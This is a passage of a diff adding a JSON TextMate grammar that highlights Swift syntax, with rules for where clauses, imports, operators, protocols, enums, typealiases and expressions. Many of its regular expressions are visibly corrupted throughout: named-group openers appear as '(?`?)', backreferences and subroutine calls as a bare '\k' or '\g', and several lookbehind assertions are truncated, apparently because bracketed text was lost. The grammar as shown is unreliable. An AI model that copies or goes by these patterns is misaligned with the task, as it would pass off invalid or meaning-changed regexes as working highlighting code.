"(?=[,>]|(?!\\G)\\bwhere\\b)", + "patterns": [ + { + "include": "#declarations-type-identifier" + }, + { + "include": "#declarations-type-operators" + } + ] + } + ] + } + ] + }, + "declarations-generic-where-clause": { + "name": "meta.generic-where-clause.swift", + "begin": "\\b(where)\\b\\s*", + "end": "(?!\\G)$|(?=[>{};\\n]|//|/\\*)", + "beginCaptures": { + "1": { + "name": "keyword.other.generic-constraint-introducer.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-generic-where-clause-requirement-list" + } + ] + }, + "declarations-generic-where-clause-requirement-list": { + "begin": "\\G|,\\s*", + "end": "(?=[,>{};\\n]|//|/\\*)", + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#constraint" + }, + { + "include": "#declarations-available-types" + }, + { + "name": "meta.generic-where-clause.same-type-requirement.swift", + "begin": "(?&|\\^~.])(==)(?![/=\\-+!*%<>&|\\^~.])", + "end": "(?=\\s*[,>{};\\n]|//|/\\*)", + "beginCaptures": { + "1": { + "name": "keyword.operator.generic-constraint.same-type.swift" + } + }, + "patterns": [ + { + "include": "#declarations-available-types" + } + ] + }, + { + "name": "meta.generic-where-clause.conformance-requirement.swift", + "begin": "(?&|\\^~.])(:)(?![/=\\-+!*%<>&|\\^~.])", + "end": "(?=\\s*[,>{};\\n]|//|/\\*)", + "beginCaptures": { + "1": { + "name": "keyword.operator.generic-constraint.conforms-to.swift" + } + }, + "patterns": [ + { + "contentName": "entity.other.inherited-class.swift", + "begin": "\\G\\s*", + "end": "(?=\\s*[,>{};\\n]|//|/\\*)", + "patterns": [ + { + "include": "#declarations-available-types" + } + ] + } + ] + } + ] + }, + "declarations-import": { + "name": "meta.import.swift", + "begin": "(?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k)", + "captures": { + "1": { + "name": "punctuation.definition.identifier.swift" + }, + "2": { + "name": "punctuation.definition.identifier.swift" + } + } + }, + { + "name": "entity.name.type.swift", + "match": "(?x)\n(?<=\\G|\\.)\n\\$[0-9]+" + }, + { + "name": "entity.name.type.swift", + "match": "(?x)\n(?<=\\G|\\.)\n(?:\n (\n (? # operator-head\n [/=\\-+!*%<>&|^~?]\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | [\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n )\n (\n \\g\n | (? # operator-character\n [\\x{0300}-\\x{036F}]\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n )*\n )\n | ( \\. ( \\g | \\g | \\. )+ ) # Dot operators\n)\n(?=\\.|;|$|//|/\\*|\\s)", + "captures": { + "1": { + "patterns": [ + { + "name": "invalid.illegal.dot-not-allowed-here.swift", + "match": "\\." + } + ] + } + } + }, + { + "name": "punctuation.separator.import.swift", + "match": "\\." + }, + { + "name": "invalid.illegal.character-not-allowed-here.swift", + "begin": "(?!\\s*(;|$|//|/\\*))", + "end": "(?=\\s*(;|$|//|/\\*))" + } + ] + } + ] + }, + "declarations-inheritance-clause": { + "name": "meta.inheritance-clause.swift", + "begin": "(:)(?=\\s*\\{)|(:)\\s*", + "end": "(?!\\G)$|(?=[={}]|(?!\\G)\\bwhere\\b)", + "beginCaptures": { + "1": { + "name": "invalid.illegal.empty-inheritance-clause.swift" + }, + "2": { + "name": "punctuation.separator.inheritance-clause.swift" + } + }, + "patterns": [ + { + "begin": "\\bclass\\b", + "end": "(?=[={}]|(?!\\G)\\bwhere\\b)", + "beginCaptures": { + "0": { + "name": "storage.type.class.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-inheritance-clause-more-types" + } + ] + }, + { + "begin": "\\G", + "end": "(?!\\G)$|(?=[={}]|(?!\\G)\\bwhere\\b)", + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-inheritance-clause-inherited-type" + }, + { + "include": "#declarations-inheritance-clause-more-types" + }, + { + "include": "#declarations-type-operators" + } + ] + } + ] + }, + "declarations-inheritance-clause-inherited-type": { + "name": "entity.other.inherited-class.swift", + "begin": "(?=[`\\p{L}_])", + "end": "(?!\\G)", + "patterns": [ + { + "include": "#declarations-type-identifier" + } + ] + }, + "declarations-inheritance-clause-more-types": { + "name": "meta.inheritance-list.more-types", + "begin": ",\\s*", + "end": "(?!\\G)(?!//|/\\*)|(?=[,={}]|(?!\\G)\\bwhere\\b)", + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-inheritance-clause-inherited-type" + }, + { + "include": "#declarations-inheritance-clause-more-types" + }, + { + "include": "#declarations-type-operators" + } + ] + }, + "declarations-macro": { + "name": "meta.definition.macro.swift", + "begin": "(?x)\n\\b\n(macro)\n\\s+\n((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))\n\\s*\n(?=\\(|<|=)", + "end": "$|(?=;|//|/\\*|\\}|=)", + "beginCaptures": { + "1": { + "name": "storage.type.function.swift" + }, + "2": { + "name": "entity.name.function.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-generic-parameter-clause" + }, + { + "include": "#declarations-parameter-clause" + }, + { + "include": "#declarations-function-result" + }, + { + "include": "#async-throws" + }, + { + "comment": "Swift 3: generic constraints after the parameters and return type", + "include": "#declarations-generic-where-clause" + } + ] + }, + "declarations-operator": { + "name": "meta.definition.operator.swift", + "begin": "(?x)\n(?:\n \\b(prefix|infix|postfix)\n \\s+\n)?\n\\b\n(operator)\n\\s+\n(\n (\n (? # operator-head\n [/=\\-+!*%<>&|^~?]\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | [\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n )\n (\n \\g\n | \\. # Invalid dot\n | (? # operator-character\n [\\x{0300}-\\x{036F}]\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n )*+\n )\n | ( \\. ( \\g | \\g | \\. )++ ) # Dot operators\n)\n\\s*", + "end": "(;)|$\\n?|(?=//|/\\*)", + "beginCaptures": { + "1": { + "name": "storage.modifier.swift" + }, + "2": { + "name": "storage.type.function.operator.swift" + }, + "3": { + "name": "entity.name.function.operator.swift" + }, + "4": { + "comment": "workaround for https://github.com/microsoft/vscode-textmate/issues/140#issuecomment-1793610346", + "name": "entity.name.function.operator.swift", + "patterns": [ + { + "name": "invalid.illegal.dot-not-allowed-here.swift", + "match": "\\." + } + ] + } + }, + "endCaptures": { + "1": { + "name": "punctuation.terminator.statement.swift" + } + }, + "patterns": [ + { + "include": "#declarations-operator-swift2" + }, + { + "include": "#declarations-operator-swift3" + }, + { + "name": "invalid.illegal.character-not-allowed-here.swift", + "match": "((?!$|;|//|/\\*)\\S)+" + } + ] + }, + "declarations-operator-swift2": { + "begin": "\\G(\\{)", + "end": "(\\})", + "beginCaptures": { + "1": { + "name": "punctuation.definition.operator.begin.swift" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.operator.end.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "match": "\\b(associativity)\\s+(left|right)\\b", + "captures": { + "1": { + "name": "storage.modifier.swift" + }, + "2": { + "name": "keyword.other.operator.associativity.swift" + } + } + }, + { + "match": "\\b(precedence)\\s+([0-9]+)\\b", + "captures": { + "1": { + "name": "storage.modifier.swift" + }, + "2": { + "name": "constant.numeric.integer.swift" + } + } + }, + { + "match": "\\b(assignment)\\b", + "captures": { + "1": { + "name": "storage.modifier.swift" + } + } + } + ] + }, + "declarations-operator-swift3": { + "match": "\\G(:)\\s*((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))", + "captures": { + "2": { + "name": "entity.other.inherited-class.swift", + "patterns": [ + { + "include": "#declarations-types-precedencegroup" + } + ] + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + } + }, + "declarations-parameter-clause": { + "name": "meta.parameter-clause.swift", + "begin": "(\\()", + "end": "(\\))(?:\\s*(async)\\b)?", + "beginCaptures": { + "1": { + "name": "punctuation.definition.parameters.begin.swift" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.parameters.end.swift" + }, + "2": { + "name": "storage.modifier.async.swift" + } + }, + "patterns": [ + { + "include": "#declarations-parameter-list" + } + ] + }, + "declarations-parameter-list": { + "patterns": [ + { + "comment": "External parameter labels are considered part of the function name", + "match": "((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))\\s+((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))(?=\\s*:)", + "captures": { + "1": { + "name": "entity.name.function.swift" + }, + "2": { + "name": "punctuation.definition.identifier.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "variable.parameter.function.swift" + }, + "5": { + "name": "punctuation.definition.identifier.swift" + }, + "6": { + "name": "punctuation.definition.identifier.swift" + } + } + }, + { + "comment": "If no external label is given, the name is both the external label and the internal variable name", + "match": "(((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k)))(?=\\s*:)", + "captures": { + "1": { + "name": "variable.parameter.function.swift" + }, + "2": { + "name": "entity.name.function.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + } + }, + { + "begin": ":\\s*(?!\\s)", + "end": "(?=[,)])", + "patterns": [ + { + "include": "#declarations-available-types" + }, + { + "name": "invalid.illegal.extra-colon-in-parameter-list.swift", + "match": ":" + }, + { + "comment": "a parameter's default value", + "begin": "=", + "end": "(?=[,)])", + "beginCaptures": { + "0": { + "name": "keyword.operator.assignment.swift" + } + }, + "patterns": [ + { + "include": "#expressions" + } + ] + } + ] + } + ] + }, + "declarations-precedencegroup": { + "name": "meta.definition.precedencegroup.swift", + "begin": "\\b(precedencegroup)\\s+((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))\\s*(?=\\{)", + "end": "(?!\\G)", + "beginCaptures": { + "1": { + "name": "storage.type.precedencegroup.swift" + }, + "2": { + "name": "entity.name.type.precedencegroup.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "begin": "\\{", + "end": "\\}", + "beginCaptures": { + "0": { + "name": "punctuation.definition.precedencegroup.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.precedencegroup.end.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "match": "\\b(higherThan|lowerThan)\\s*:\\s*((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))", + "captures": { + "1": { + "name": "storage.modifier.swift" + }, + "2": { + "name": "entity.other.inherited-class.swift", + "patterns": [ + { + "include": "#declarations-types-precedencegroup" + } + ] + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + } + }, + { + "match": "\\b(associativity)\\b(?:\\s*:\\s*(right|left|none)\\b)?", + "captures": { + "1": { + "name": "storage.modifier.swift" + }, + "2": { + "name": "keyword.other.operator.associativity.swift" + } + } + }, + { + "match": "\\b(assignment)\\b(?:\\s*:\\s*(true|false)\\b)?", + "captures": { + "1": { + "name": "storage.modifier.swift" + }, + "2": { + "name": "constant.language.boolean.swift" + } + } + } + ] + } + ] + }, + "declarations-protocol": { + "name": "meta.definition.type.protocol.swift", + "begin": "\\b(protocol)\\s+((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))", + "end": "(?<=\\})", + "beginCaptures": { + "1": { + "name": "storage.type.$1.swift" + }, + "2": { + "name": "entity.name.type.$1.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-inheritance-clause" + }, + { + "comment": "SE-0142: Permit where clauses to constrain associated types", + "include": "#declarations-generic-where-clause" + }, + { + "name": "meta.definition.type.body.swift", + "begin": "\\{", + "end": "\\}", + "beginCaptures": { + "0": { + "name": "punctuation.definition.type.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.type.end.swift" + } + }, + "patterns": [ + { + "include": "#declarations-protocol-protocol-method" + }, + { + "include": "#declarations-protocol-protocol-initializer" + }, + { + "include": "#declarations-protocol-associated-type" + }, + { + "include": "$self" + } + ] + } + ] + }, + "declarations-protocol-associated-type": { + "name": "meta.definition.associatedtype.swift", + "begin": "\\b(associatedtype)\\s+((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))\\s*", + "end": "(?!\\G)$|(?=[;}]|$)", + "beginCaptures": { + "1": { + "name": "keyword.other.declaration-specifier.swift" + }, + "2": { + "name": "variable.language.associatedtype.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "include": "#declarations-inheritance-clause" + }, + { + "comment": "SE-0142: Permit where clauses to constrain associated types", + "include": "#declarations-generic-where-clause" + }, + { + "include": "#declarations-typealias-assignment" + } + ] + }, + "declarations-protocol-protocol-initializer": { + "name": "meta.definition.function.initializer.swift", + "begin": "(?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k)\n | (?:\n (\n (? # operator-head\n [/=\\-+!*%<>&|^~?]\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | [\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n )\n (\n \\g\n | (? # operator-character\n [\\x{0300}-\\x{036F}]\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n )*\n )\n | ( \\. ( \\g | \\g | \\. )+ ) # Dot operators\n )\n )\n\\s*\n(?=\\(|<)", + "end": "$|(?=;|//|/\\*|\\})", + "beginCaptures": { + "1": { + "name": "storage.type.function.swift" + }, + "2": { + "name": "entity.name.function.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-generic-parameter-clause" + }, + { + "include": "#declarations-parameter-clause" + }, + { + "include": "#declarations-function-result" + }, + { + "include": "#async-throws" + }, + { + "comment": "Swift 3: generic constraints after the parameters and return type", + "include": "#declarations-generic-where-clause" + }, + { + "name": "invalid.illegal.function-body-not-allowed-in-protocol.swift", + "begin": "\\{", + "end": "\\}", + "beginCaptures": { + "0": { + "name": "punctuation.section.function.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.section.function.end.swift" + } + }, + "patterns": [ + { + "include": "$self" + } + ] + } + ] + }, + "declarations-type": { + "patterns": [ + { + "name": "meta.definition.type.$1.swift", + "begin": "\\b(class(?!\\s+(?:func|var|let)\\b)|struct|actor)\\b\\s*((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))", + "end": "(?<=\\})", + "beginCaptures": { + "1": { + "name": "storage.type.$1.swift" + }, + "2": { + "name": "entity.name.type.$1.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-generic-parameter-clause" + }, + { + "comment": "Swift 3: generic constraints after the generic param list", + "include": "#declarations-generic-where-clause" + }, + { + "include": "#declarations-inheritance-clause" + }, + { + "name": "meta.definition.type.body.swift", + "begin": "\\{", + "end": "\\}", + "beginCaptures": { + "0": { + "name": "punctuation.definition.type.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.type.end.swift" + } + }, + "patterns": [ + { + "include": "$self" + } + ] + } + ] + }, + { + "include": "#declarations-type-enum" + } + ] + }, + "declarations-type-enum": { + "name": "meta.definition.type.$1.swift", + "begin": "\\b(enum)\\s+((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))", + "end": "(?<=\\})", + "beginCaptures": { + "1": { + "name": "storage.type.$1.swift" + }, + "2": { + "name": "entity.name.type.$1.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-generic-parameter-clause" + }, + { + "comment": "Swift 3: generic constraints after the generic param list", + "include": "#declarations-generic-where-clause" + }, + { + "include": "#declarations-inheritance-clause" + }, + { + "name": "meta.definition.type.body.swift", + "begin": "\\{", + "end": "\\}", + "beginCaptures": { + "0": { + "name": "punctuation.definition.type.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.type.end.swift" + } + }, + "patterns": [ + { + "include": "#declarations-type-enum-enum-case-clause" + }, + { + "include": "$self" + } + ] + } + ] + }, + "declarations-type-enum-associated-values": { + "begin": "\\G\\(", + "end": "\\)", + "beginCaptures": { + "0": { + "name": "punctuation.definition.parameters.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.parameters.end.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "begin": "(?x)\n(?:(_)|((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*\\k))\n\\s+\n(((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*\\k))\n\\s*(:)", + "end": "(?=[,)\\]])", + "beginCaptures": { + "1": { + "name": "entity.name.function.swift" + }, + "2": { + "name": "invalid.illegal.distinct-labels-not-allowed.swift" + }, + "5": { + "name": "variable.parameter.function.swift" + }, + "7": { + "name": "punctuation.separator.argument-label.swift" + } + }, + "patterns": [ + { + "include": "#declarations-available-types" + } + ] + }, + { + "begin": "(((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*\\k))\\s*(:)", + "end": "(?=[,)\\]])", + "beginCaptures": { + "1": { + "name": "entity.name.function.swift" + }, + "2": { + "name": "variable.parameter.function.swift" + }, + "4": { + "name": "punctuation.separator.argument-label.swift" + } + }, + "patterns": [ + { + "include": "#declarations-available-types" + } + ] + }, + { + "comment": "an element without a label (i.e. anything else)", + "begin": "(?![,)\\]])(?=\\S)", + "end": "(?=[,)\\]])", + "patterns": [ + { + "include": "#declarations-available-types" + }, + { + "name": "invalid.illegal.extra-colon-in-parameter-list.swift", + "match": ":" + } + ] + } + ] + }, + "declarations-type-enum-enum-case": { + "begin": "(?x)((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))\\s*", + "end": "(?<=\\))|(?![=(])", + "beginCaptures": { + "1": { + "name": "variable.other.enummember.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-type-enum-associated-values" + }, + { + "include": "#declarations-type-enum-raw-value-assignment" + } + ] + }, + "declarations-type-enum-enum-case-clause": { + "begin": "\\b(case)\\b\\s*", + "end": "(?=[;}])|(?!\\G)(?!//|/\\*)(?=[^\\s,])", + "beginCaptures": { + "1": { + "name": "storage.type.enum.case.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-type-enum-enum-case" + }, + { + "include": "#declarations-type-enum-more-cases" + } + ] + }, + "declarations-type-enum-more-cases": { + "name": "meta.enum-case.more-cases", + "begin": ",\\s*", + "end": "(?!\\G)(?!//|/\\*)(?=[;}]|[^\\s,])", + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-type-enum-enum-case" + }, + { + "include": "#declarations-type-enum-more-cases" + } + ] + }, + "declarations-type-enum-raw-value-assignment": { + "begin": "(=)\\s*", + "end": "(?!\\G)", + "beginCaptures": { + "1": { + "name": "keyword.operator.assignment.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#literals" + } + ] + }, + "declarations-type-identifier": { + "begin": "((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))\\s*", + "end": "(?!<)", + "beginCaptures": { + "1": { + "name": "meta.type-name.swift", + "patterns": [ + { + "include": "#builtin-types" + } + ] + }, + "2": { + "name": "punctuation.definition.identifier.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "begin": "(?=<)", + "end": "(?!\\G)", + "patterns": [ + { + "include": "#declarations-generic-argument-clause" + } + ] + } + ] + }, + "declarations-type-operators": { + "patterns": [ + { + "comment": "Swift 3: A & B", + "match": "(?&|\\^~.])(&)(?![/=\\-+!*%<>&|\\^~.])", + "captures": { + "1": { + "name": "keyword.operator.type.composition.swift" + } + } + }, + { + "comment": "SE-0390: Noncopyable structs and enums", + "match": "(?&|\\^~.])(~)(?![/=\\-+!*%<>&|\\^~.])", + "captures": { + "1": { + "name": "keyword.operator.type.requirement-suppression.swift" + } + } + } + ] + }, + "declarations-typealias": { + "name": "meta.definition.typealias.swift", + "begin": "\\b(typealias)\\s+((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))\\s*", + "end": "(?!\\G)$|(?=;|//|/\\*|$)", + "beginCaptures": { + "1": { + "name": "keyword.other.declaration-specifier.swift" + }, + "2": { + "name": "entity.name.type.typealias.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "begin": "\\G(?=<)", + "end": "(?!\\G)", + "patterns": [ + { + "include": "#declarations-generic-parameter-clause" + } + ] + }, + { + "include": "#declarations-typealias-assignment" + } + ] + }, + "declarations-typealias-assignment": { + "begin": "(=)\\s*", + "end": "(?!\\G)$|(?=;|//|/\\*|$)", + "beginCaptures": { + "1": { + "name": "keyword.operator.assignment.swift" + } + }, + "patterns": [ + { + "include": "#declarations-available-types" + } + ] + }, + "declarations-typed-variable-declaration": { + "begin": "(?x)\n\\b(?:(async)\\s+)?(let|var)\\b\\s+\n(?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k)\\s*\n:", + "end": "(?=$|[={])", + "beginCaptures": { + "1": { + "name": "storage.modifier.async.swift" + }, + "2": { + "name": "keyword.other.declaration-specifier.swift" + } + }, + "patterns": [ + { + "include": "#declarations-available-types" + } + ] + }, + "declarations-types-precedencegroup": { + "patterns": [ + { + "comment": "Precedence groups in the standard library", + "name": "support.type.swift", + "match": "\\b(?:BitwiseShift|Assignment|RangeFormation|Casting|Addition|NilCoalescing|Comparison|LogicalConjunction|LogicalDisjunction|Default|Ternary|Multiplication|FunctionArrow)Precedence\\b" + } + ] + }, + "expressions": { + "comment": "trailing closures need to be parsed before other member references", + "patterns": [ + { + "include": "#expressions-without-trailing-closures-or-member-references" + }, + { + "include": "#expressions-trailing-closure" + }, + { + "include": "#member-reference" + } + ] + }, + "expressions-trailing-closure": { + "patterns": [ + { + "comment": "foo { body } -- a call with a trailing closure and no argument clause", + "name": "meta.function-call.trailing-closure-only.swift", + "match": "(#?(?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))(?=\\s*\\{)", + "captures": { + "1": { + "name": "support.function.any-method.swift" + }, + "2": { + "name": "punctuation.definition.identifier.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + } + } + }, + { + "comment": "foo: { body } -- labeled-trailing-closure (SE-0279)", + "match": "((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))\\s*(:)(?=\\s*\\{)", + "captures": { + "1": { + "name": "support.function.any-method.trailing-closure-label.swift" + }, + "2": { + "name": "punctuation.definition.identifier.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.separator.argument-label.swift" + } + } + } + ] + }, + "expressions-without-trailing-closures": { + "patterns": [ + { + "include": "#expressions-without-trailing-closures-or-member-references" + }, + { + "include": "#member-references" + } + ] + }, + "expressions-without-trailing-closures-or-member-references": { + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#code-block" + }, + { + "include": "#attributes" + }, + { + "include": "#expressions-without-trailing-closures-or-member-references-closure-parameter" + }, + { + "include": "#literals" + }, + { + "include": "#operators" + }, + { + "include": "#builtin-types" + }, + { + "include": "#builtin-functions" + }, + { + "include": "#builtin-global-functions" + }, + { + "include": "#builtin-properties" + }, + { + "include": "#expressions-without-trailing-closures-or-member-references-compound-name" + }, + { + "include": "#conditionals" + }, + { + "include": "#keywords" + }, + { + "include": "#expressions-without-trailing-closures-or-member-references-availability-condition" + }, + { + "include": "#expressions-without-trailing-closures-or-member-references-function-or-macro-call-expression" + }, + { + "include": "#expressions-without-trailing-closures-or-member-references-macro-expansion" + }, + { + "include": "#expressions-without-trailing-closures-or-member-references-subscript-expression" + }, + { + "include": "#expressions-without-trailing-closures-or-member-references-parenthesized-expression" + }, + { + "name": "support.variable.discard-value.swift", + "match": "\\b_\\b" + } + ] + }, + "expressions-without-trailing-closures-or-member-references-availability-condition": { + "begin": "\\B(#(?:un)?available)(\\()", + "end": "\\)", + "beginCaptures": { + "1": { + "name": "support.function.availability-condition.swift" + }, + "2": { + "name": "punctuation.definition.arguments.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.arguments.end.swift" + } + }, + "patterns": [ + { + "match": "\\s*\\b((?:iOS|macOS|OSX|watchOS|tvOS|visionOS|UIKitForMac)(?:ApplicationExtension)?)\\b(?:\\s+([0-9]+(?:\\.[0-9]+)*\\b))", + "captures": { + "1": { + "name": "keyword.other.platform.os.swift" + }, + "2": { + "name": "constant.numeric.swift" + } + } + }, + { + "match": "(\\*)\\s*(.*?)(?=[,)])", + "captures": { + "1": { + "name": "keyword.other.platform.all.swift" + }, + "2": { + "name": "invalid.illegal.character-not-allowed-here.swift" + } + } + }, + { + "name": "invalid.illegal.character-not-allowed-here.swift", + "match": "[^\\s,)]+" + } + ] + }, + "expressions-without-trailing-closures-or-member-references-closure-parameter": { + "name": "variable.language.closure-parameter.swift", + "match": "\\$[0-9]+" + }, + "expressions-without-trailing-closures-or-member-references-compound-name": { + "comment": "a reference to a function with disambiguating argument labels, such as foo(_:), foo(bar:), etc.", + "match": "(?x)\n((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k)) # function name\n\\(\n (\n (\n ((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k)) # argument label\n : # colon\n )+\n )\n\\)", + "captures": { + "1": { + "name": "entity.name.function.compound-name.swift" + }, + "2": { + "name": "punctuation.definition.entity.swift" + }, + "3": { + "name": "punctuation.definition.entity.swift" + }, + "4": { + "patterns": [ + { + "name": "entity.name.function.compound-name.swift", + "match": "(?`?)(?!_:)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k):", + "captures": { + "1": { + "name": "punctuation.definition.entity.swift" + }, + "2": { + "name": "punctuation.definition.entity.swift" + } + } + } + ] + } + } + }, + "expressions-without-trailing-closures-or-member-references-expression-element-list": { + "patterns": [ + { + "include": "#comments" + }, + { + "comment": "an element with a label", + "begin": "((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))\\s*(:)", + "end": "(?=[,)\\]])", + "beginCaptures": { + "1": { + "name": "support.function.any-method.swift" + }, + "2": { + "name": "punctuation.definition.identifier.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.separator.argument-label.swift" + } + }, + "patterns": [ + { + "include": "#expressions" + } + ] + }, + { + "comment": "an element without a label (i.e. anything else)", + "begin": "(?![,)\\]])(?=\\S)", + "end": "(?=[,)\\]])", + "patterns": [ + { + "include": "#expressions" + } + ] + } + ] + }, + 